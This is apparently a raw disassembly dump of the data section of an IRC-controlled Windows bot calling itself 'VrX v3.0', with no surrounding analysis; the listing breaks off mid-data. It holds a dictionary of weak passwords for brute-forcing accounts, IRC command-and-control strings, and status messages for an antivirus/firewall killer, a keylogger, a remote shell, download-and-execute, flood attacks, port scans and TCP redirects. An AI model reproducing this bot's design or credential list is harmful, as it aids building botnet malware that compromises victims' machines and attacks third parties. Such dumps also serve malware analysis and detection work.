aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD4	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B38	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B58	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B78	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BCC	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C4C:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C50	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 4
unk_429C74	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C9C	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CBC	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429CE0	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429D00	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D20	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D64	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DB0	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DDC	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429E00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E24	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E44	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_429E90	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 10h
unk_429EB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
unk_429EE0	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F30	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F54	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F70	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F94	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FAC	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FEC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A004	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A020	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_42A040	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A058	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A084:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A088	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A8	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 10h
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 10h
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 4
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 10h
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 4
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A17C	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 4
unk_42A194	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 4
unk_42A1C4	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E8	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 4
unk_42A204	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 10h
unk_42A220	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A23C	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A250	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A25C	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 4
dword_42A284	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A2A0	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2BC	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C4	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2E0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2EC	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F4	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2FC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A338	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A364	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A3A0	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D4	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A408	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 10h
dword_42A420	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A434	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A444	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A48C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C8	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 10h
dword_42A500	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A51C	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 10h
unk_42A540	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A57C	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5AC	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B8	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A614	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A64C	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A678	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A6B4	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A6E4	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A71C	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A74C	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A784	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A7B4	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7EC	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A828	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A868	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 4
unk_42A894	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D8	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A914	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A96C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A978	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42AA04	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA3C	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 4
unk_42AAA4	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD8	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB0C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB3C	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
